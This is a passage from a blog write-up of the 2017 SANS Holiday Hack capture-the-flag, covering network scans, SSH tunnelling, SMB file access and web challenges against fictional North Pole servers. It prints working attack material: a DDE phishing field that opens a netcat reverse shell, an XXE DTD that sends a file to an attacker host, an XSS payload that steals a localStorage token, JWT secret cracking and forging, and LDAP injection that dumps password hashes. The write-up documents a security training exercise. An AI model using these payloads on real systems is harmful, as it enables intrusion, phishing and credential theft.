22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
143/tcp  open  imap
2525/tcp open  ms-v-worlds
3000/tcp open  ppp

Nmap scan report for (
Host is up (0.00017s latency).
Not shown: 996 closed ports
22/tcp   open  ssh
80/tcp   open  http
389/tcp  open  ldap
8080/tcp open  http-proxy

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (
Host is up (0.00099s latency).
Not shown: 998 filtered ports
80/tcp   open  http
3389/tcp open  ms-wbt-server

Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (
Host is up (0.000096s latency).
Not shown: 998 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap scan report for (
Host is up (0.00025s latency).
Not shown: 998 filtered ports
80/tcp   open  http
3389/tcp open  ms-wbt-server

Nmap done: 256 IP addresses (7 hosts up) scanned in 8.56 seconds

No SMB shares jump out at us. If we were a true redteamer/blackhat, we wouldn’t be so blatant with our internal scans, but for this CTF, I went a step further an scanned for hosts even if they didn’t respond to a ping, using the -Pn option.

alabaster_snowball@hhc17-apache-struts2:~$ nmap -Pn

Starting Nmap 7.40 ( ) at 2017-12-18 13:51 UTC
Nmap scan report for
Host is up.
All 1000 scanned ports on are filtered


Nmap scan report for (
Host is up (0.00017s latency).
Not shown: 997 closed ports
22/tcp  open  ssh
80/tcp  open  http
389/tcp open  ldap

Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (
Host is up (0.00046s latency).
Not shown: 996 filtered ports
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server


I spy with my little eye… hhc17-smb-server.c.holidayhack2017.internal on Without smbclient we will need an alternative way to connect, but chances are we can use Alabaster’s credentials once again.

Without any smbclient & a locked down Python binary, this was going to require us thinking outside the box. During my time on the l2s box, I noticed someone dropped an smbclient binary into the webroot, but I avoid that as it felt like cheating (I didn’t put it there…). The ports are there, open, just on an internal box – how about we connect to it, with an external box? Enter, SSH Tunnels.

sudo ssh -Nf -L 445:

# sudo was only needed because 445 is a privileged port.

$ smbclient -U alabaster_snowball -L \\
WARNING: The "syslog" option is deprecated
Enter alabaster_snowball's password:
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    FileStor        Disk
    IPC$            IPC       Remote IPC
Connection to failed (Error NT_STATUS_CONNECTION_REFUSED)
NetBIOS over TCP disabled -- no workgroup available

FileStor looks non-default and perfect to snoop around in.

$ smbclient -U alabaster_snowball \\\\\\FileStor
WARNING: The "syslog" option is deprecated
Enter alabaster_snowball's password:
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
smb: \> ls
  .                                   D        0  Wed Dec  6 21:51:46 2017
  ..                                  D        0  Wed Dec  6 21:51:46 2017
  BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 21:44:17 2017
  GreatBookPage3.pdf                  A  1275756  Mon Dec  4 19:21:44 2017
  MEMO - Calculator Access for Wunorse.docx      A   111852  Mon Nov 27 19:01:36 2017
  MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 21:47:28 2017
  Naughty and Nice List.csv           A    10245  Thu Nov 30 19:42:00 2017
  Naughty and Nice List.docx          A    60344  Wed Dec  6 21:51:25 2017

        13106687 blocks of size 4096. 9626151 blocks available
smb: \>

Et voila! Need to exfiltrate and of the files? Whilst within smbclient just run get and the file name (in quotes, due to spaces).

Question 4

  1. Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at What can you learn from The Great Book page found in an e-mail on that server?

So we know it can only be accessed internally – luckily, we have a box we already have access to thanks to Alabaster Snowball. Using the l2s server as our jumpbox, we can use SSH as a proxy server to allow us to browse to these internal servers. A guide to SSH proxying can be seen here.

ssh -D 8080

I then configured Firefox to use as a SOCKS5 proxy. Depending on your network/browser setup, you may be able to use the hostname – – however in my instance, using the local IP was the only way to access the server.

ElfMail Server

Viewing the source of the login page reveals nothing too interesting, but some of the linked javascript files give us a few hints…

function login() {
    var address = $('#email').val().trim();
    var passw = $('#password').val().trim();
    if (address && passw && address.match(/[\w\_\-\.]+\@[\w\_\-\.]+\.\w\w\w?\w?/g) !== null) {
        $.post( "login.js", { email: address, password: passw }).done(function( result ) {
            //RETURN A JSON bool value of true if the email and password is correct. false if incorrect
            if (result.bool) {
                Materialize.toast('Correct. Logging in now!', 4000);
                    //redirect to home.html. This needs to be locked down by cookies!
                    window.location.href = 'account.html';
                }, 1000);
            } else {
                Materialize.toast(result.result, 4000);
        }).fail(function(error) {
            Materialize.toast('Error: '+error.status + " " + error.statusText, 4000);
    } else {
        Materialize.toast('You must put in a correct email and password!', 4000);

So, looks like getting or generating a cookie might be the way forward, as trying Alabaster’s common password here fails – shame. If they left those helpful comments there, what else have they left lying around? Checking robots.txt reveals that cookie.txt might be very useful to us.

I am by no means a person who understands AES256 enough to be able to figure this one out without hints, but luckily our helpful elves have given us a pointer or two in the right direction.

AES256? Honestly, I don’t know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or “IV.” Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.

Hmmm. That’s a good question, I’m not sure what would happen if the encrypted string was only 16 bytes long.

With cookie.txt and the hints above, I ended up tweaking the cookies in the browser to eventually get to combination that worked:


Perfect! We get redirected to /account.html and can start viewing poor Alabaster’s emails. This is where we stumble upon some extra hints for further levels, and a handy link to the Great Book PDF for this level. Downloading it and hashing it gives us:

sha1sum GreatBookPage4_893jt91md2.pdf
f192a884f68af24ae55d9d9ad4adf8d3a3995258  GreatBookPage4_893jt91md2.pdf

To answer the original question of “What can you learn from The Great Book page found in an e-mail on that server?”, it appears ‘Oz’ and a ‘Lollipop Guild’ may have something to do with all these snowballs bombarding North Pole Christmas Town…

In the email chain where we find the link to GreatBookPage4_893jt91md2.pdf, we have a wonderful exchange of emails whereby we find out Alabaster has another page locally on his machine, and that he is using Netcat to download it. We learn he enjoys Powershell, but has a softspot for netcat (who doesn’t!). In another email chain, we get the following big hints:

[...] well I saw an article a while ago about regarding DDE exploits that dont need macros for MS word to get command execution. [...]

[...] I tried it on my local machine and was able to transfer a file. Here's a poc: [...]

# and

[...] You sent it in a MS word .docx file. I would totally open that 
docx on my computer if you had that. I would click on anything with the 
words gingerbread cookie recipe in it. [...]

Looks like we better put together a phishing email and a .docx with a DDE exploit to get a shell on our friend here. We can see from another email chain of Alabaster’s that he has very kindly put netcat in his Windows user PATH for us, which I’m sure will almost certainly come in handy…

It took a few attempts to get the DDE code into the correct format, for it to execute correctly – I tried a couple of different reverse shells too, written in Powershell but they always failed (even when I knew they were executing, after it made calls to a HTTP server I controlled). In the end, I came up with the following:

{ DDEAUTO c:\\windows\\system32\\cmd.exe '/c nc.exe -nv IP.ADD.RES.S PORT -e cmd.exe' }

This fake phishing .docx gave me a basic shell on what was apparently Alabaster’s Windows machine. Next up, it was time to find the page of the Great Book that was stored on his machine. Turns out it was in the root of the C:/ directory – GreatBookPage7.pdf. I tried tranfering this via nc and some more phishing documents, but they always returned malformed PDFs. In the end, I ran the following command on the Windows box itself to get the SHA1 hash.

C:\>certUtil -hashfile GreatBookPage7.pdf SHA1
certUtil -hashfile GreatBookPage7.pdf SHA1
SHA1 hash of file GreatBookPage7.pdf:
CertUtil: -hashfile command completed successfully.

Question 5

  1. How many infractions are required to be marked as naughty on Santa’s Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?

The question doesn’t tell us where to look, but I suspect it may have something to do with some documents we may or may not have exfiltrated earlier in the SMB challenge.

$ smbclient -U alabaster_snowball \\\\\\FileStor
WARNING: The "syslog" option is deprecated
Enter alabaster_snowball's password:
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
smb: \> ls
  .                                   D        0  Wed Dec  6 21:51:46 2017
  ..                                  D        0  Wed Dec  6 21:51:46 2017
  BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 21:44:17 2017
  GreatBookPage3.pdf                  A  1275756  Mon Dec  4 19:21:44 2017
  MEMO - Calculator Access for Wunorse.docx      A   111852  Mon Nov 27 19:01:36 2017
  MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 21:47:28 2017
  Naughty and Nice List.csv           A    10245  Thu Nov 30 19:42:00 2017
  Naughty and Nice List.docx          A    60344  Wed Dec  6 21:51:25 2017

        13106687 blocks of size 4096. 9626151 blocks available
smb: \>

All of the documents are a great read, such as the calculator memo using a DDE exploit to help someone use calc.exe, and of course the password policy reminder telling folks to not reuse the same password…

However, the most interesting document is the BOLO, which contains a report regarding some sneaky munchkins who have infiltrated the elves. At the bottom of the report we have the following:

For more information, please see

A quick visit to this publically available page shows that we can query Santa’s naughty list. The search input shows that we can query things like infraction titles, dates, and names. Names may come in handy to answer How many infractions are required to be marked as naughty on Santa’s Naughty and Nice List?. If we take the nice & naughty lists from the SMB server, we can run those names against the infractions database and figure out the thresholds.

Checking a handful on naughty children and nice children, the threshold to be classed as naughty appears to be 4 infractions.

As for the moles, based on the report we know that they’re big into their hair-pulling and rock-throwing - so, by finding people with both infractions we end up with the following:

Nina Fitzgerald
Kirsty Evans
Beverly Khalil
Sheri Lewis

Question 6

  1. The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?

To access ‘EaaS’, we still need to be using the SSH proxy from the ’l2s’ server. When we browse to it, we are greated with a couple of links – one to view current orders, and another to reset the ordering system. Scrolling a bit further down, we are very kindly offered a download link to a order template. Turns out, ‘EaaS’ uses XML for its ordering form.

When we browse to the page to view current orders, we are given an upload form at the bottom of the page. Time to craft an XML document to help us grab C:\greatbook.txt.

Long story short, the SANS Pen Testing blog provides us with a wonderful step-by-step guide on how XML XXE attacks work, and even give us some proof of concept code to try out. Here is how it worked for EaaS.

On a VPS, I created my very own evil.dtd:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:\greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://IP.ADD.RE.SS:4545/?%stolendata;'>">

As you can see, it is almost identical to their example, except for switching out their IP address, and changing the file location to the one mentioned in the question. I then used python -m SimpleHTTPServer 8080 to host the evil.dtd file on my server via HTTP on port 8080. I then opened another connection to my VPS and ran netcat on port 4545. nc -lvp 4545

Next up, to alter the XML order template to get our DTD executed.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity SYSTEM "http://IP.ADD.RE.SS:8080/evil.dtd">
<Elf><Elf><ElfID>1</ElfID><ElfName>Elf On a Shelf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>1.png</Picture><Address>On a Shelf, Obviously</Address></Elf>

I then simply uploaded this XML file to the ordering system, and watch my netcat output on my VPS:

Listening on [] (family 0, port 4545)
Connection from [] port 4545 [tcp/*] accepted (family 2, sport 50174)
GET /? HTTP/1.1
Connection: Keep-Alive

Bingo, we’ve got outselves page 6 of the Great Book.

sha1sum greatbook6.pdf
8943e0524e1bf0ea8c7968e85b2444323cb237af  greatbook6.pdf

Question 7

  1. Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?

This was completed as part of Question 4.

Question 8

  1. Fetch the letter to Santa from the North Pole Elf Database at Who wrote the letter?

Once again, we have another internal service that requires our SSH proxy to be up and running. Browsing to the service, we are welcomed with a login screen - A quick look through the sourcecode suggests that an auth token can be using to bypass credential based login.

    if (!document.cookie) {
        window.location.href = '/';
    } else {
        token = localStorage.getItem("np-auth");
        if (token) {
            $.post( "/login", { auth_token: token }).done(function( result ) {
                if (result.bool) {
                    window.location.href =;

So from this, we know that the authentication token is stored in HTML5 Local Storage within the browser. We can also see from the custom.js file that there is some basic XSS defenses in place, based on looking for ‘script’ in any case within the message of the password reset form. This acts as a helpful hint that we might be able to use the password reset to instigate a XSS attack to grab HTML5 local storage.

username: alabaster.snowball
<IMG SRC=/ onerror="document.location='http://IP.ADD.RE.SS:8080/?stor=' + localStorage.getItem('np-auth');"></img>

That last bit of the message attempts to load an image which will never load because it doesn’t exist. When it fails to load, (onerror) is triggered which is javascript, without having to use the word JavaScript, bypassing the basic XSS filter. When the script runs, the user is redirected website we own, with the users np-auth token appended to the URL which we can then grab from our web access logs.

python -m SimpleHTTPServer 8080
Serving HTTP on port 8080 ... - - [05/Jan/2018 15:49:41] "GET /?stor=null HTTP/1.1" 200 - - - [05/Jan/2018 15:50:09] "GET /?stor=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1" 200 -

The first hit, from the IP ending 58.137 is my own browser redirecting me, hence the null np-auth value. The second one a few moments later is when someone browses to our request in their browser, revealing their np-auth token.

This token is generated using JWT - JSON Web Tokens. We can decode it to view its contents using various tools. The lazy among us, myself included, can use, where it can display the contents and algorithms used.

## Header
  "alg": "HS256",
  "typ": "JWT"
## Payload
  "dept": "Engineering",
  "ou": "elf",
  "expires": "2017-08-16 12:00:47.248093+00:00",
  "uid": "alabaster.snowball"
## Verification Signature

So we can see from this, the token we have received expired in August 2017. To modify the token, with a new date, we need to be able to correctly sign it. How can we figure out the secret? With bruteforce of course.

A Google for ‘JWT bruteforce’ reveals a few methods, similar to tools like John The Ripper & hashcat. I ended up using JWT cracker written in C. After compiling it, and passing it the token I let it run for a few moments until we get the following back:

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I
Secret is "3lv3s"

Perfect, now we know that the secret is 3lv3s. We can go back to, tweak the date in the original token (2017 to 2018), and correctly sign it with the secret. That gives us a new token:


We can now use this in our browser and set np-auth in the local storage to our key, and successfully login. Hurrah.

When we are successfully logged in, we get a directory searching tool which allows us to specify an Elf or Reindeer name, and select from a dropdown menu the columns we would like to return.

Once again, the pentesting blog from SANS gives us a huge nudge in the right direction, with Understanding and Exploiting Web-based LDAP. Following the wonderful post from Ed, the first hint is to try and recover the passwords from LDAP. The blog talks about searches being submitted via HTTP GET requests, but in our instance they are all via POST. No bother, Firefox to the rescue.

A standard search against the database produced a request like so:

Request Sent

And the subsiquent response looked like so:

Response Receivced

By editing the POST request directly within Firefox, we can add an attribute to return:


userPassword is the attribute name as mentioned in the blog post, which as expected returns the same Elves as before, but with their password hash!

[[["cn=tarpin,ou=elf,dc=northpolechristmastown,dc=com",{"department":["workshop"],"description":["Tarpin is the local jokester of the North Pole. He makes sure everything remains light-hearted around the workshop."],"gn":["tarpin"],"mail":[""],"profilePath":["/img/elves/elf7.PNG"],"sn":["mcjinglehauser"],"telephoneNumber":["123-456-4740"],"uid":["tarpin.mcjinglehauser"],"userPassword":["f259e9a289c4633fc1e3ab11b4368254"]}]]

This is a great start, but we want more – we need the details and hashes for everyone in the LDAP database. Luckily, the SANS blog post once again helps us out.

Similar to SQL injection, we can manipulate the LDAP query based on the parameters we feed it. This little one liner alters the query from lots of restrictive AND statements, or a bunch of ORs (using the |). ))(department=it)(|(cn=.

This changes our POST request like so:


The response, is everyone within LDAP plus their password hash!

[["cn=jessica,ou=human,dc=northpolechristmastown,dc=com",{"department":["administrators"],"description":["Mrs. Claus is the wife of Santa Claus and is the primary administrator and care-taker of the elves. As such, she is highly admired amongst the elf kind."],"gn":["Jessica"],"mail":[""],"profilePath":["/img/elves/mrsclause.png"],"sn":["Claus"],"telephoneNumber":["123-456-7893"],"uid":["jessica.claus"],"userPassword":["16268da802de6a2efe9c672ca79a7071"]}]],[["cn=santa,ou=human,dc=northpolechristmastown,dc=com",{"department":["administrators"],"description":["A round, white-bearded, jolly old man in a red suit, who lives at the North Pole, makes toys for children, and distributes gifts at Christmastime. AKA - The Boss!"],"gn":["Santa"],"mail":[""],"profilePath":["/img/elves/santa.png"],"sn":["Claus"],"telephoneNumber":["123-456-7893"],"uid":["santa.claus"],"userPassword":["d8b4c05a35b0513f302a85c409b4aab3"]}]]]

Well hello Mr & Mrs Claus. Lets take those two MD5 password hashes and hand them to John The Ripper, with the rockyou password word list. Surprisingly, we get a hit. A hit for Santa himself!


Now we have Santa’s password in plaintext, lets take a look at how we can use this. We know from the question we need to return a letter sent to him. A quick browse in the menu on the webpage suggests it is likely hidden in ‘Santa Panel’ under the ‘Account’ dropdown. Clicking it under our current login (as Alabaster) gives us a failure warning. Lets check the webpage source code to figure out the login here.

After a bit of hunting through the HTML DOM, we find the following:

    if (user_json['dept'] == 'administrators') {
        pass = prompt('Confirm you are a Claus by confirming your password: ').trim()
        if (pass) {
            poster("/html", { santa_access: pass }, token, function(result){
                if (result) {
                } else {
                    Materialize.toast('Incorrect Password...', 4000);
    } else {
        Materialize.toast('You must be a Claus to access this panel!', 4000);

So, when we click the button, it checks if the ‘dept’ from user_json (which is from the JWT token earlier) is ‘administrators’. If it isn’t we get rejected. If it is however, we are then asked for a password, which if that checks out, we get the result displayed on an overlay or modal.

So, to become a ‘Claus’, lets abuse the JWT tokens and forge one with the following contents:

  "dept": "administrators",
  "ou": "human",
  "expires": "2018-08-16 12:00:47.248093+00:00",
  "uid": "santa.claus"

This gives us the correct user (as we have the password for Santa and not Jessica) as well as the correct department of ‘administrators’. Signed with 3lv3s it works perfectly, logging us in as Santa. Entering our recently cracked password of 001cookielips001 into the prompt gives us the letter to Santa, written by the one and only Wizard of Oz. The image is located at /img/wizard_of_oz_to_santa_d0t011d408nx.png.

Question 9

  1. Which character is ultimately the villain causing the giant snowball problem. What is the villain’s motive?

After finally knocking the villian off of their perch in the last snowball rolling game, we get a nice little message from Glinda, the Good Witch:

It’s me, Glinda the Good Witch of Oz! You found me and ruined my genius plan! You see, I cast a magic spell on the Abominable Snow Monster to make him throw all the snowballs at the North Pole. Why? Because I knew a giant snowball fight would stir up hostilities between the Elves and the Munchkins, resulting in all-out WAR between Oz and the North Pole. I was going to sell my magic and spells to both sides. War profiteering would mean GREAT business for me. But, alas, you and your sleuthing foiled my venture. And I would have gotten away with it too, if it weren’t for you meddling kids!

$ whoami I am Graham Stevens, a Cyber Security Specialist based in the South West of the UK. If you're lucky, I very occasionally post updates on Twitter/Mastodon.